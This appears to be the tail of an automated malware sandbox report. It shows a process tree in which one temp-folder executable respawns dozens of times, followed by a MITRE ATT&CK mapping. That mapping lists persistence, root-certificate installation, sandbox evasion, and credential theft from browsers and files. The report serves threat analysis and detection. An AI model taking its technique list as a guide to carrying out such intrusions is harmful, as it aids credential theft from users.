        "C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe"
        7⤵
        
        PID:9476
        
        C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe"
        7⤵
        
        PID:9484
        
        C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe"
        7⤵
        
        PID:9492
        
        C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe"
        7⤵
        
        PID:9500
        
        C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe"
        7⤵
        
        PID:9508
        
        C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe"
        7⤵
        
        PID:9516
        
        C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe"
        7⤵
        
        PID:9524
        
        C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe"
        7⤵
        
        PID:9532
        
        C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe"
        7⤵
        
        PID:9540
        
        C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe"
        7⤵
        
        PID:9548
        
        C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe"
        7⤵
        
        PID:9556
        
        C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe"
        7⤵
        
        PID:9564
        
        C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe"
        7⤵
        
        PID:9572
        
        C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe"
        7⤵
        
        PID:9580
        
        C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe"
        7⤵
        
        PID:9588
        
        C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe"
        7⤵
        
        PID:9596
        
        C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe"
        7⤵
        
        PID:9604
        
        C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe"
        7⤵
        
        PID:9612
        
        C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe"
        7⤵
        
        PID:9620
        
        C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe"
        7⤵
        
        PID:9628
        
        C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe"
        7⤵
        
        PID:9636
        
        C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe"
        7⤵
        
        PID:9644
        
        C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe"
        7⤵
        
        PID:9652
        
        C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe"
        7⤵
        
        PID:9660
        
        C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe"
        7⤵
        
        PID:9668
        
        C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe"
        7⤵
        
        PID:9676
        
        C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe"
        7⤵
        
        PID:9684
        
        C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe"
        7⤵
        
        PID:9692
        
        C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe"
        7⤵
        
        PID:9700
        
        C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe"
        7⤵
        
        PID:9708
        
        C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe"
        7⤵
        
        PID:9716
        
        C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe"
        7⤵
        
        PID:9724
        
        C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe"
        7⤵
        
        PID:9732
        
        C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe"
        7⤵
        
        PID:9740
        
        C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe"
        7⤵
        
        PID:9748
        
        C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe"
        7⤵
        
        PID:9756
        
        C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10100230101\mAtJWNv.exe"
        7⤵
        
        PID:9764

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Modify Registry

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Virtualization/Sandbox Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Virtualization/Sandbox Evasion